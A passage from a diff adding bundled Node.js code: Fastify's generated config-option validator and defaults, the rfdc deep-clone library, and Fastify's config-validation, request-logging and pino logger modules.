= _errs42 === errors; + valid2 = _valid1; + } + if (!valid2) { + const err11 = { instancePath: instancePath + "/https", schemaPath: "#/properties/https/if", keyword: "if", params: { failingKeyword: "then" }, message: 'must match "then" schema' }; + if (vErrors === null) { + vErrors = [err11]; + } else { + vErrors.push(err11); + } + errors++; + validate10.errors = vErrors; + return false; + } + var valid0 = _errs27 === errors; + } else { + var valid0 = true; + } + if (valid0) { + let data12 = data.ignoreTrailingSlash; + const _errs43 = errors; + if (typeof data12 !== "boolean") { + let coerced14 = void 0; + if (!(coerced14 !== void 0)) { + if (data12 === "false" || data12 === 0 || data12 === null) { + coerced14 = false; + } else if (data12 === "true" || data12 === 1) { + coerced14 = true; + } else { + validate10.errors = [{ instancePath: instancePath + "/ignoreTrailingSlash", schemaPath: "#/properties/ignoreTrailingSlash/type", keyword: "type", params: { type: "boolean" }, message: "must be boolean" }]; + return false; + } + } + if (coerced14 !== void 0) { + data12 = coerced14; + if (data !== void 0) { + data["ignoreTrailingSlash"] = coerced14; + } + } + } + var valid0 = _errs43 === errors; + if (valid0) { + let data13 = data.ignoreDuplicateSlashes; + const _errs45 = errors; + if (typeof data13 !== "boolean") { + let coerced15 = void 0; + if (!(coerced15 !== void 0)) { + if (data13 === "false" || data13 === 0 || data13 === null) { + coerced15 = false; + } else if (data13 === "true" || data13 === 1) { + coerced15 = true; + } else { + validate10.errors = [{ instancePath: instancePath + "/ignoreDuplicateSlashes", schemaPath: "#/properties/ignoreDuplicateSlashes/type", keyword: "type", params: { type: "boolean" }, message: "must be boolean" }]; + return false; + } + } + if (coerced15 !== void 0) { + data13 = coerced15; + if (data !== void 0) { + data["ignoreDuplicateSlashes"] = coerced15; + } + } + } + var valid0 = _errs45 === errors; + if (valid0) { + let data14 = data.maxParamLength; + const _errs47 = errors; + if (!(typeof data14 == "number" && (!(data14 % 1) && !isNaN(data14)) && isFinite(data14))) { + let dataType16 = typeof data14; + let coerced16 = void 0; + if (!(coerced16 !== void 0)) { + if (dataType16 === "boolean" || data14 === null || dataType16 === "string" && data14 && data14 == +data14 && !(data14 % 1)) { + coerced16 = +data14; + } else { + validate10.errors = [{ instancePath: instancePath + "/maxParamLength", schemaPath: "#/properties/maxParamLength/type", keyword: "type", params: { type: "integer" }, message: "must be integer" }]; + return false; + } + } + if (coerced16 !== void 0) { + data14 = coerced16; + if (data !== void 0) { + data["maxParamLength"] = coerced16; + } + } + } + var valid0 = _errs47 === errors; + if (valid0) { + let data15 = data.onProtoPoisoning; + const _errs49 = errors; + if (typeof data15 !== "string") { + let dataType17 = typeof data15; + let coerced17 = void 0; + if (!(coerced17 !== void 0)) { + if (dataType17 == "number" || dataType17 == "boolean") { + coerced17 = "" + data15; + } else if (data15 === null) { + coerced17 = ""; + } else { + validate10.errors = [{ instancePath: instancePath + "/onProtoPoisoning", schemaPath: "#/properties/onProtoPoisoning/type", keyword: "type", params: { type: "string" }, message: "must be string" }]; + return false; + } + } + if (coerced17 !== void 0) { + data15 = coerced17; + if (data !== void 0) { + data["onProtoPoisoning"] = coerced17; + } + } + } + var valid0 = _errs49 === errors; + if (valid0) { + let data16 = data.onConstructorPoisoning; + const _errs51 = errors; + if (typeof data16 !== "string") { + let dataType18 = typeof data16; + let coerced18 = void 0; + if (!(coerced18 !== void 0)) { + if (dataType18 == "number" || dataType18 == "boolean") { + coerced18 = "" + data16; + } else if (data16 === null) { + coerced18 = ""; + } else { + validate10.errors = [{ instancePath: instancePath + "/onConstructorPoisoning", schemaPath: "#/properties/onConstructorPoisoning/type", keyword: "type", params: { type: "string" }, message: "must be string" }]; + return false; + } + } + if (coerced18 !== void 0) { + data16 = coerced18; + if (data !== void 0) { + data["onConstructorPoisoning"] = coerced18; + } + } + } + var valid0 = _errs51 === errors; + if (valid0) { + let data17 = data.pluginTimeout; + const _errs53 = errors; + if (!(typeof data17 == "number" && (!(data17 % 1) && !isNaN(data17)) && isFinite(data17))) { + let dataType19 = typeof data17; + let coerced19 = void 0; + if (!(coerced19 !== void 0)) { + if (dataType19 === "boolean" || data17 === null || dataType19 === "string" && data17 && data17 == +data17 && !(data17 % 1)) { + coerced19 = +data17; + } else { + validate10.errors = [{ instancePath: instancePath + "/pluginTimeout", schemaPath: "#/properties/pluginTimeout/type", keyword: "type", params: { type: "integer" }, message: "must be integer" }]; + return false; + } + } + if (coerced19 !== void 0) { + data17 = coerced19; + if (data !== void 0) { + data["pluginTimeout"] = coerced19; + } + } + } + var valid0 = _errs53 === errors; + if (valid0) { + let data18 = data.requestIdHeader; + const _errs55 = errors; + const _errs56 = errors; + let valid6 = false; + const _errs57 = errors; + if (typeof data18 !== "boolean") { + let coerced20 = void 0; + if (!(coerced20 !== void 0)) { + if (data18 === "false" || data18 === 0 || data18 === null) { + coerced20 = false; + } else if (data18 === "true" || data18 === 1) { + coerced20 = true; + } else { + const err12 = { instancePath: instancePath + "/requestIdHeader", schemaPath: "#/properties/requestIdHeader/anyOf/0/type", keyword: "type", params: { type: "boolean" }, message: "must be boolean" }; + if (vErrors === null) { + vErrors = [err12]; + } else { + vErrors.push(err12); + } + errors++; + } + } + if (coerced20 !== void 0) { + data18 = coerced20; + if (data !== void 0) { + data["requestIdHeader"] = coerced20; + } + } + } + var _valid3 = _errs57 === errors; + valid6 = valid6 || _valid3; + if (!valid6) { + const _errs59 = errors; + if (typeof data18 !== "string") { + let dataType21 = typeof data18; + let coerced21 = void 0; + if (!(coerced21 !== void 0)) { + if (dataType21 == "number" || dataType21 == "boolean") { + coerced21 = "" + data18; + } else if (data18 === null) { + coerced21 = ""; + } else { + const err13 = { instancePath: instancePath + "/requestIdHeader", schemaPath: "#/properties/requestIdHeader/anyOf/1/type", keyword: "type", params: { type: "string" }, message: "must be string" }; + if (vErrors === null) { + vErrors = [err13]; + } else { + vErrors.push(err13); + } + errors++; + } + } + if (coerced21 !== void 0) { + data18 = coerced21; + if (data !== void 0) { + data["requestIdHeader"] = coerced21; + } + } + } + var _valid3 = _errs59 === errors; + valid6 = valid6 || _valid3; + } + if (!valid6) { + const err14 = { instancePath: instancePath + "/requestIdHeader", schemaPath: "#/properties/requestIdHeader/anyOf", keyword: "anyOf", params: {}, message: "must match a schema in anyOf" }; + if (vErrors === null) { + vErrors = [err14]; + } else { + vErrors.push(err14); + } + errors++; + validate10.errors = vErrors; + return false; + } else { + errors = _errs56; + if (vErrors !== null) { + if (_errs56) { + vErrors.length = _errs56; + } else { + vErrors = null; + } + } + } + var valid0 = _errs55 === errors; + if (valid0) { + let data19 = data.requestIdLogLabel; + const _errs61 = errors; + if (typeof data19 !== "string") { + let dataType22 = typeof data19; + let coerced22 = void 0; + if (!(coerced22 !== void 0)) { + if (dataType22 == "number" || dataType22 == "boolean") { + coerced22 = "" + data19; + } else if (data19 === null) { + coerced22 = ""; + } else { + validate10.errors = [{ instancePath: instancePath + "/requestIdLogLabel", schemaPath: "#/properties/requestIdLogLabel/type", keyword: "type", params: { type: "string" }, message: "must be string" }]; + return false; + } + } + if (coerced22 !== void 0) { + data19 = coerced22; + if (data !== void 0) { + data["requestIdLogLabel"] = coerced22; + } + } + } + var valid0 = _errs61 === errors; + if (valid0) { + let data20 = data.http2SessionTimeout; + const _errs63 = errors; + if (!(typeof data20 == "number" && (!(data20 % 1) && !isNaN(data20)) && isFinite(data20))) { + let dataType23 = typeof data20; + let coerced23 = void 0; + if (!(coerced23 !== void 0)) { + if (dataType23 === "boolean" || data20 === null || dataType23 === "string" && data20 && data20 == +data20 && !(data20 % 1)) { + coerced23 = +data20; + } else { + validate10.errors = [{ instancePath: instancePath + "/http2SessionTimeout", schemaPath: "#/properties/http2SessionTimeout/type", keyword: "type", params: { type: "integer" }, message: "must be integer" }]; + return false; + } + } + if (coerced23 !== void 0) { + data20 = coerced23; + if (data !== void 0) { + data["http2SessionTimeout"] = coerced23; + } + } + } + var valid0 = _errs63 === errors; + if (valid0) { + let data21 = data.exposeHeadRoutes; + const _errs65 = errors; + if (typeof data21 !== "boolean") { + let coerced24 = void 0; + if (!(coerced24 !== void 0)) { + if (data21 === "false" || data21 === 0 || data21 === null) { + coerced24 = false; + } else if (data21 === "true" || data21 === 1) { + coerced24 = true; + } else { + validate10.errors = [{ instancePath: instancePath + "/exposeHeadRoutes", schemaPath: "#/properties/exposeHeadRoutes/type", keyword: "type", params: { type: "boolean" }, message: "must be boolean" }]; + return false; + } + } + if (coerced24 !== void 0) { + data21 = coerced24; + if (data !== void 0) { + data["exposeHeadRoutes"] = coerced24; + } + } + } + var valid0 = _errs65 === errors; + if (valid0) { + let data22 = data.useSemicolonDelimiter; + const _errs67 = errors; + if (typeof data22 !== "boolean") { + let coerced25 = void 0; + if (!(coerced25 !== void 0)) { + if (data22 === "false" || data22 === 0 || data22 === null) { + coerced25 = false; + } else if (data22 === "true" || data22 === 1) { + coerced25 = true; + } else { + validate10.errors = [{ instancePath: instancePath + "/useSemicolonDelimiter", schemaPath: "#/properties/useSemicolonDelimiter/type", keyword: "type", params: { type: "boolean" }, message: "must be boolean" }]; + return false; + } + } + if (coerced25 !== void 0) { + data22 = coerced25; + if (data !== void 0) { + data["useSemicolonDelimiter"] = coerced25; + } + } + } + var valid0 = _errs67 === errors; + if (valid0) { + if (data.routerOptions !== void 0) { + let data23 = data.routerOptions; + const _errs69 = errors; + if (errors === _errs69) { + if (data23 && typeof data23 == "object" && !Array.isArray(data23)) { + if (data23.ignoreTrailingSlash === void 0) { + data23.ignoreTrailingSlash = false; + } + if (data23.ignoreDuplicateSlashes === void 0) { + data23.ignoreDuplicateSlashes = false; + } + if (data23.maxParamLength === void 0) { + data23.maxParamLength = 100; + } + if (data23.allowUnsafeRegex === void 0) { + data23.allowUnsafeRegex = false; + } + if (data23.useSemicolonDelimiter === void 0) { + data23.useSemicolonDelimiter = false; + } + let data24 = data23.ignoreTrailingSlash; + const _errs72 = errors; + if (typeof data24 !== "boolean") { + let coerced26 = void 0; + if (!(coerced26 !== void 0)) { + if (data24 === "false" || data24 === 0 || data24 === null) { + coerced26 = false; + } else if (data24 === "true" || data24 === 1) { + coerced26 = true; + } else { + validate10.errors = [{ instancePath: instancePath + "/routerOptions/ignoreTrailingSlash", schemaPath: "#/properties/routerOptions/properties/ignoreTrailingSlash/type", keyword: "type", params: { type: "boolean" }, message: "must be boolean" }]; + return false; + } + } + if (coerced26 !== void 0) { + data24 = coerced26; + if (data23 !== void 0) { + data23["ignoreTrailingSlash"] = coerced26; + } + } + } + var valid7 = _errs72 === errors; + if (valid7) { + let data25 = data23.ignoreDuplicateSlashes; + const _errs74 = errors; + if (typeof data25 !== "boolean") { + let coerced27 = void 0; + if (!(coerced27 !== void 0)) { + if (data25 === "false" || data25 === 0 || data25 === null) { + coerced27 = false; + } else if (data25 === "true" || data25 === 1) { + coerced27 = true; + } else { + validate10.errors = [{ instancePath: instancePath + "/routerOptions/ignoreDuplicateSlashes", schemaPath: "#/properties/routerOptions/properties/ignoreDuplicateSlashes/type", keyword: "type", params: { type: "boolean" }, message: "must be boolean" }]; + return false; + } + } + if (coerced27 !== void 0) { + data25 = coerced27; + if (data23 !== void 0) { + data23["ignoreDuplicateSlashes"] = coerced27; + } + } + } + var valid7 = _errs74 === errors; + if (valid7) { + let data26 = data23.maxParamLength; + const _errs76 = errors; + if (!(typeof data26 == "number" && (!(data26 % 1) && !isNaN(data26)) && isFinite(data26))) { + let dataType28 = typeof data26; + let coerced28 = void 0; + if (!(coerced28 !== void 0)) { + if (dataType28 === "boolean" || data26 === null || dataType28 === "string" && data26 && data26 == +data26 && !(data26 % 1)) { + coerced28 = +data26; + } else { + validate10.errors = [{ instancePath: instancePath + "/routerOptions/maxParamLength", schemaPath: "#/properties/routerOptions/properties/maxParamLength/type", keyword: "type", params: { type: "integer" }, message: "must be integer" }]; + return false; + } + } + if (coerced28 !== void 0) { + data26 = coerced28; + if (data23 !== void 0) { + data23["maxParamLength"] = coerced28; + } + } + } + var valid7 = _errs76 === errors; + if (valid7) { + let data27 = data23.allowUnsafeRegex; + const _errs78 = errors; + if (typeof data27 !== "boolean") { + let coerced29 = void 0; + if (!(coerced29 !== void 0)) { + if (data27 === "false" || data27 === 0 || data27 === null) { + coerced29 = false; + } else if (data27 === "true" || data27 === 1) { + coerced29 = true; + } else { + validate10.errors = [{ instancePath: instancePath + "/routerOptions/allowUnsafeRegex", schemaPath: "#/properties/routerOptions/properties/allowUnsafeRegex/type", keyword: "type", params: { type: "boolean" }, message: "must be boolean" }]; + return false; + } + } + if (coerced29 !== void 0) { + data27 = coerced29; + if (data23 !== void 0) { + data23["allowUnsafeRegex"] = coerced29; + } + } + } + var valid7 = _errs78 === errors; + if (valid7) { + let data28 = data23.useSemicolonDelimiter; + const _errs80 = errors; + if (typeof data28 !== "boolean") { + let coerced30 = void 0; + if (!(coerced30 !== void 0)) { + if (data28 === "false" || data28 === 0 || data28 === null) { + coerced30 = false; + } else if (data28 === "true" || data28 === 1) { + coerced30 = true; + } else { + validate10.errors = [{ instancePath: instancePath + "/routerOptions/useSemicolonDelimiter", schemaPath: "#/properties/routerOptions/properties/useSemicolonDelimiter/type", keyword: "type", params: { type: "boolean" }, message: "must be boolean" }]; + return false; + } + } + if (coerced30 !== void 0) { + data28 = coerced30; + if (data23 !== void 0) { + data23["useSemicolonDelimiter"] = coerced30; + } + } + } + var valid7 = _errs80 === errors; + } + } + } + } + } else { + validate10.errors = [{ instancePath: instancePath + "/routerOptions", schemaPath: "#/properties/routerOptions/type", keyword: "type", params: { type: "object" }, message: "must be object" }]; + return false; + } + } + var valid0 = _errs69 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.constraints !== void 0) { + let data29 = data.constraints; + const _errs82 = errors; + if (errors === _errs82) { + if (data29 && typeof data29 == "object" && !Array.isArray(data29)) { + for (const key2 in data29) { + let data30 = data29[key2]; + const _errs85 = errors; + if (errors === _errs85) { + if (data30 && typeof data30 == "object" && !Array.isArray(data30)) { + let missing1; + if (data30.name === void 0 && (missing1 = "name") || data30.storage === void 0 && (missing1 = "storage") || data30.validate === void 0 && (missing1 = "validate") || data30.deriveConstraint === void 0 && (missing1 = "deriveConstraint")) { + validate10.errors = [{ instancePath: instancePath + "/constraints/" + key2.replace(/~/g, "~0").replace(/\//g, "~1"), schemaPath: "#/properties/constraints/additionalProperties/required", keyword: "required", params: { missingProperty: missing1 }, message: "must have required property '" + missing1 + "'" }]; + return false; + } else { + if (data30.name !== void 0) { + let data31 = data30.name; + if (typeof data31 !== "string") { + let dataType31 = typeof data31; + let coerced31 = void 0; + if (!(coerced31 !== void 0)) { + if (dataType31 == "number" || dataType31 == "boolean") { + coerced31 = "" + data31; + } else if (data31 === null) { + coerced31 = ""; + } else { + validate10.errors = [{ instancePath: instancePath + "/constraints/" + key2.replace(/~/g, "~0").replace(/\//g, "~1") + "/name", schemaPath: "#/properties/constraints/additionalProperties/properties/name/type", keyword: "type", params: { type: "string" }, message: "must be string" }]; + return false; + } + } + if (coerced31 !== void 0) { + data31 = coerced31; + if (data30 !== void 0) { + data30["name"] = coerced31; + } + } + } + } + } + } else { + validate10.errors = [{ instancePath: instancePath + "/constraints/" + key2.replace(/~/g, "~0").replace(/\//g, "~1"), schemaPath: "#/properties/constraints/additionalProperties/type", keyword: "type", params: { type: "object" }, message: "must be object" }]; + return false; + } + } + var valid8 = _errs85 === errors; + if (!valid8) { + break; + } + } + } else { + validate10.errors = [{ instancePath: instancePath + "/constraints", schemaPath: "#/properties/constraints/type", keyword: "type", params: { type: "object" }, message: "must be object" }]; + return false; + } + } + var valid0 = _errs82 === errors; + } else { + var valid0 = true; + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } else { + validate10.errors = [{ instancePath, schemaPath: "#/type", keyword: "type", params: { type: "object" }, message: "must be object" }]; + return false; + } + } + validate10.errors = vErrors; + return errors === 0; + } + module.exports.defaultInitOptions = { "connectionTimeout": 0, "keepAliveTimeout": 72e3, "maxRequestsPerSocket": 0, "requestTimeout": 0, "handlerTimeout": 0, "bodyLimit": 1048576, "caseSensitive": true, "allowUnsafeRegex": false, "disableRequestLogging": false, "ignoreTrailingSlash": false, "ignoreDuplicateSlashes": false, "maxParamLength": 100, "onProtoPoisoning": "error", "onConstructorPoisoning": "error", "pluginTimeout": 1e4, "requestIdHeader": false, "requestIdLogLabel": "reqId", "http2SessionTimeout": 72e3, "exposeHeadRoutes": true, "useSemicolonDelimiter": false, "allowErrorHandlerOverride": true, "routerOptions": { "ignoreTrailingSlash": false, "ignoreDuplicateSlashes": false, "maxParamLength": 100, "allowUnsafeRegex": false, "useSemicolonDelimiter": false } }; + } +}); + +// node_modules/.pnpm/rfdc@1.4.1/node_modules/rfdc/index.js +var require_rfdc = __commonJS({ + "node_modules/.pnpm/rfdc@1.4.1/node_modules/rfdc/index.js"(exports, module) { + "use strict"; + module.exports = rfdc; + function copyBuffer(cur) { + if (cur instanceof Buffer) { + return Buffer.from(cur); + } + return new cur.constructor(cur.buffer.slice(), cur.byteOffset, cur.length); + } + function rfdc(opts) { + opts = opts || {}; + if (opts.circles) return rfdcCircles(opts); + const constructorHandlers = /* @__PURE__ */ new Map(); + constructorHandlers.set(Date, (o) => new Date(o)); + constructorHandlers.set(Map, (o, fn) => new Map(cloneArray(Array.from(o), fn))); + constructorHandlers.set(Set, (o, fn) => new Set(cloneArray(Array.from(o), fn))); + if (opts.constructorHandlers) { + for (const handler2 of opts.constructorHandlers) { + constructorHandlers.set(handler2[0], handler2[1]); + } + } + let handler = null; + return opts.proto ? cloneProto : clone2; + function cloneArray(a, fn) { + const keys = Object.keys(a); + const a2 = new Array(keys.length); + for (let i = 0; i < keys.length; i++) { + const k = keys[i]; + const cur = a[k]; + if (typeof cur !== "object" || cur === null) { + a2[k] = cur; + } else if (cur.constructor !== Object && (handler = constructorHandlers.get(cur.constructor))) { + a2[k] = handler(cur, fn); + } else if (ArrayBuffer.isView(cur)) { + a2[k] = copyBuffer(cur); + } else { + a2[k] = fn(cur); + } + } + return a2; + } + function clone2(o) { + if (typeof o !== "object" || o === null) return o; + if (Array.isArray(o)) return cloneArray(o, clone2); + if (o.constructor !== Object && (handler = constructorHandlers.get(o.constructor))) { + return handler(o, clone2); + } + const o2 = {}; + for (const k in o) { + if (Object.hasOwnProperty.call(o, k) === false) continue; + const cur = o[k]; + if (typeof cur !== "object" || cur === null) { + o2[k] = cur; + } else if (cur.constructor !== Object && (handler = constructorHandlers.get(cur.constructor))) { + o2[k] = handler(cur, clone2); + } else if (ArrayBuffer.isView(cur)) { + o2[k] = copyBuffer(cur); + } else { + o2[k] = clone2(cur); + } + } + return o2; + } + function cloneProto(o) { + if (typeof o !== "object" || o === null) return o; + if (Array.isArray(o)) return cloneArray(o, cloneProto); + if (o.constructor !== Object && (handler = constructorHandlers.get(o.constructor))) { + return handler(o, cloneProto); + } + const o2 = {}; + for (const k in o) { + const cur = o[k]; + if (typeof cur !== "object" || cur === null) { + o2[k] = cur; + } else if (cur.constructor !== Object && (handler = constructorHandlers.get(cur.constructor))) { + o2[k] = handler(cur, cloneProto); + } else if (ArrayBuffer.isView(cur)) { + o2[k] = copyBuffer(cur); + } else { + o2[k] = cloneProto(cur); + } + } + return o2; + } + } + function rfdcCircles(opts) { + const refs = []; + const refsNew = []; + const constructorHandlers = /* @__PURE__ */ new Map(); + constructorHandlers.set(Date, (o) => new Date(o)); + constructorHandlers.set(Map, (o, fn) => new Map(cloneArray(Array.from(o), fn))); + constructorHandlers.set(Set, (o, fn) => new Set(cloneArray(Array.from(o), fn))); + if (opts.constructorHandlers) { + for (const handler2 of opts.constructorHandlers) { + constructorHandlers.set(handler2[0], handler2[1]); + } + } + let handler = null; + return opts.proto ? cloneProto : clone2; + function cloneArray(a, fn) { + const keys = Object.keys(a); + const a2 = new Array(keys.length); + for (let i = 0; i < keys.length; i++) { + const k = keys[i]; + const cur = a[k]; + if (typeof cur !== "object" || cur === null) { + a2[k] = cur; + } else if (cur.constructor !== Object && (handler = constructorHandlers.get(cur.constructor))) { + a2[k] = handler(cur, fn); + } else if (ArrayBuffer.isView(cur)) { + a2[k] = copyBuffer(cur); + } else { + const index2 = refs.indexOf(cur); + if (index2 !== -1) { + a2[k] = refsNew[index2]; + } else { + a2[k] = fn(cur); + } + } + } + return a2; + } + function clone2(o) { + if (typeof o !== "object" || o === null) return o; + if (Array.isArray(o)) return cloneArray(o, clone2); + if (o.constructor !== Object && (handler = constructorHandlers.get(o.constructor))) { + return handler(o, clone2); + } + const o2 = {}; + refs.push(o); + refsNew.push(o2); + for (const k in o) { + if (Object.hasOwnProperty.call(o, k) === false) continue; + const cur = o[k]; + if (typeof cur !== "object" || cur === null) { + o2[k] = cur; + } else if (cur.constructor !== Object && (handler = constructorHandlers.get(cur.constructor))) { + o2[k] = handler(cur, clone2); + } else if (ArrayBuffer.isView(cur)) { + o2[k] = copyBuffer(cur); + } else { + const i = refs.indexOf(cur); + if (i !== -1) { + o2[k] = refsNew[i]; + } else { + o2[k] = clone2(cur); + } + } + } + refs.pop(); + refsNew.pop(); + return o2; + } + function cloneProto(o) { + if (typeof o !== "object" || o === null) return o; + if (Array.isArray(o)) return cloneArray(o, cloneProto); + if (o.constructor !== Object && (handler = constructorHandlers.get(o.constructor))) { + return handler(o, cloneProto); + } + const o2 = {}; + refs.push(o); + refsNew.push(o2); + for (const k in o) { + const cur = o[k]; + if (typeof cur !== "object" || cur === null) { + o2[k] = cur; + } else if (cur.constructor !== Object && (handler = constructorHandlers.get(cur.constructor))) { + o2[k] = handler(cur, cloneProto); + } else if (ArrayBuffer.isView(cur)) { + o2[k] = copyBuffer(cur); + } else { + const i = refs.indexOf(cur); + if (i !== -1) { + o2[k] = refsNew[i]; + } else { + o2[k] = cloneProto(cur); + } + } + } + refs.pop(); + refsNew.pop(); + return o2; + } + } + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/initial-config-validation.js +var require_initial_config_validation = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/initial-config-validation.js"(exports, module) { + "use strict"; + var validate = require_config_validator(); + var deepClone = require_rfdc()({ circles: true, proto: false }); + var { FST_ERR_INIT_OPTS_INVALID } = require_errors2(); + function validateInitialConfig(options) { + const opts = deepClone(options); + if (!validate(opts)) { + const error51 = new FST_ERR_INIT_OPTS_INVALID(JSON.stringify(validate.errors.map((e) => e.message))); + error51.errors = validate.errors; + throw error51; + } + return deepFreezeObject(opts); + } + function deepFreezeObject(object2) { + const properties = Object.getOwnPropertyNames(object2); + for (const name of properties) { + const value = object2[name]; + if (ArrayBuffer.isView(value) && !(value instanceof DataView)) { + continue; + } + object2[name] = value && typeof value === "object" ? deepFreezeObject(value) : value; + } + return Object.freeze(object2); + } + module.exports = validateInitialConfig; + module.exports.defaultInitOptions = validate.defaultInitOptions; + module.exports.utils = { deepFreezeObject }; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/log-controller.js +var require_log_controller = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/log-controller.js"(exports, module) { + "use strict"; + var { defaultInitOptions } = require_initial_config_validation(); + var LogController = class { + /** + * @param {object} [options] + * @param {boolean | ((req: object) => boolean)} [options.disableRequestLogging=false] + * When `true` (or a function returning `true`), per-request log lines + * (incoming, completed, errors) are suppressed. + * @param {string} [options.requestIdLogLabel='reqId'] + * The label used for the request identifier when logging the request. + */ + constructor(options) { + const opts = options || {}; + this.disableRequestLogging = opts.disableRequestLogging || defaultInitOptions.disableRequestLogging; + this.isDisableRequestLoggingFunction = typeof this.disableRequestLogging === "function"; + this.requestIdLogLabel = opts.requestIdLogLabel || defaultInitOptions.requestIdLogLabel; + } + /** + * Checks whether request logging is disabled for the given request. + * + * @param {object} req Raw or Fastify request object. + * @returns {boolean} `true` when logging should be skipped. + */ + isLogDisabled(req) { + return this.isDisableRequestLoggingFunction ? this.disableRequestLogging(req) : this.disableRequestLogging; + } + /** + * Logs an incoming request at `info` level. + * + * @param {object} request Fastify request object. + * @param {object} reply Fastify reply object. + * @param {object} [metadata] Extra contextual data (unused). + */ + incomingRequest(request, reply, metadata) { + if (this.isLogDisabled(request)) { + return; + } + request.log.info({ req: request }, "incoming request"); + } + /** + * Logs the outcome of a completed request. + * Uses `error` level when an error is present, `info` otherwise. + * + * @param {Error | null | undefined} error Error that occurred during the response, if any. + * @param {object} request Fastify request object. + * @param {object} reply Fastify reply object. + * @param {object} [metadata] Extra contextual data (unused). + */ + requestCompleted(error51, request, reply, metadata) { + if (this.isLogDisabled(request)) { + return; + } + if (error51) { + reply.log.error({ res: reply, err: error51, responseTime: reply.elapsedTime }, "request errored"); + } else { + reply.log.info({ res: reply, responseTime: reply.elapsedTime }, "request completed"); + } + } + /** + * Logs an error handled by the default error handler. + * Uses `error` for 5xx status codes, `info` for 4xx. + * + * @param {Error} error The error being handled. + * @param {object} request Fastify request object. + * @param {object} reply Fastify reply object (must have `statusCode`). + * @param {object} [metadata] Extra contextual data (unused). + */ + defaultErrorLog(error51, request, reply, metadata) { + if (this.isLogDisabled(request)) { + return; + } + if (reply.statusCode >= 500) { + reply.log.error({ req: request, res: reply, err: error51 }, error51?.message); + } else { + reply.log.info({ res: reply, err: error51 }, error51?.message); + } + } + /** + * Logs stream-level errors that occur after headers have been sent. + * Premature closes are logged at `info`; other errors at `warn`. + * + * @param {Error} error The stream error. + * @param {object} request Fastify request object. + * @param {object} reply Fastify reply object. + * @param {object} [metadata] Extra contextual data (unused). + */ + streamError(error51, request, reply, metadata) { + if (this.isLogDisabled(request)) { + return; + } + if (error51.code === "ERR_STREAM_PREMATURE_CLOSE") { + reply.log.info({ res: reply }, "stream closed prematurely"); + } else { + reply.log.warn({ err: error51 }, "response terminated with an error with headers already sent"); + } + } + /** + * Logs a "route not found" message at `info` level. + * Used by the default 404 handler. + * + * @param {object} request Fastify request object. + * @param {object} reply Fastify reply object. + * @param {object} [metadata] Extra contextual data (unused). + */ + routeNotFound(request, reply, metadata) { + if (this.isLogDisabled(request)) { + return; + } + const { url: url2, method } = request.raw; + request.log.info(`Route ${method}:${url2} not found`); + } + /** + * Logs a warning when writeHead fails during error handling. + * + * @param {Error} error The error thrown by writeHead. + * @param {object} request Fastify request object. + * @param {object} reply Fastify reply object. + * @param {object} [metadata] Extra contextual data (unused). + */ + writeHeadError(error51, request, reply, metadata) { + if (this.isLogDisabled(request)) { + return; + } + reply.log.warn( + { req: request, res: reply, err: error51 }, + error51?.message + ); + } + /** + * Logs an error when the serializer for a given status code fails. + * + * @param {Error} error The serialization error. + * @param {object} request Fastify request object. + * @param {object} reply Fastify reply object. + * @param {object} metadata Extra contextual data. + * @param {number} metadata.statusCode The status code that triggered the serializer. + */ + serializerError(error51, request, reply, metadata) { + if (this.isLogDisabled(request)) { + return; + } + reply.log.error({ err: error51, statusCode: metadata.statusCode }, "The serializer for the given status code failed"); + } + /** + * Logs a 503 Service Unavailable when the server is closing. + * Always emitted (not gated by `disableRequestLogging`). + * + * @param {import('../fastify').FastifyBaseLogger} logger + * @param {import('../fastify').FastifyInstance} server + */ + serviceUnavailable(logger2, server) { + logger2.info({ res: { statusCode: 503 } }, "request aborted - refusing to accept new requests as server is closing"); + } + }; + module.exports = { LogController }; + } +}); + +// node_modules/.pnpm/abstract-logging@2.0.1/node_modules/abstract-logging/index.js +var require_abstract_logging = __commonJS({ + "node_modules/.pnpm/abstract-logging@2.0.1/node_modules/abstract-logging/index.js"(exports, module) { + "use strict"; + function noop3() { + } + var proto = { + fatal: noop3, + error: noop3, + warn: noop3, + info: noop3, + debug: noop3, + trace: noop3 + }; + Object.defineProperty(module, "exports", { + get() { + return Object.create(proto); + } + }); + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/logger-pino.js +var require_logger_pino = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/logger-pino.js"(exports, module) { + "use strict"; + var pino2 = require_pino(); + var { serializersSym } = pino2.symbols; + var { + FST_ERR_LOG_INVALID_DESTINATION + } = require_errors2(); + function createPinoLogger(opts) { + if (opts.stream && opts.file) { + throw new FST_ERR_LOG_INVALID_DESTINATION(); + } else if (opts.file) { + opts.stream = pino2.destination(opts.file); + delete opts.file; + } + const prevLogger = opts.logger; + const prevGenReqId = opts.genReqId; + let logger2 = null; + if (prevLogger) { + opts.logger = void 0; + opts.genReqId = void 0; + if (prevLogger[serializersSym]) { + opts.serializers = Object.assign({}, opts.serializers, prevLogger[serializersSym]); + } + logger2 = prevLogger.child({}, opts); + opts.logger = prevLogger; + opts.genReqId = prevGenReqId; + } else { + logger2 = pino2(opts, opts.stream); + } + return logger2; + } + var serializers2 = { + req: function asReqValue(req) { + return { + method: req.method, + url: req.url, + version: req.headers && req.headers["accept-version"], + host: req.host, + remoteAddress: req.ip, + remotePort: req.socket ? req.socket.remotePort : void 0 + }; + }, + err: pino2.stdSerializers.err, + res: function asResValue(reply) { + return { + statusCode: reply.statusCode + }; + } + }; + module.exports = { + serializers: serializers2, + createPinoLogger + }; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/logger-factory.js +var require_logger_factory = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/logger-factory.js"(exports, module) { + "use strict"; + var { performance: performance3 } = __require("node:perf_hooks"); + var { + FST_ERR_LOG_LOGGER_AND_LOGGER_INSTANCE_PROVIDED, + FST_ERR_LOG_INVALID_LOGGER_CONFIG, + FST_ERR_LOG_INVALID_LOGGER_INSTANCE, + FST_ERR_LOG_INVALID_LOGGER, + FST_ERR_LOG_INVALID_LOG_CONTROLLER + } = require_errors2(); + var { + 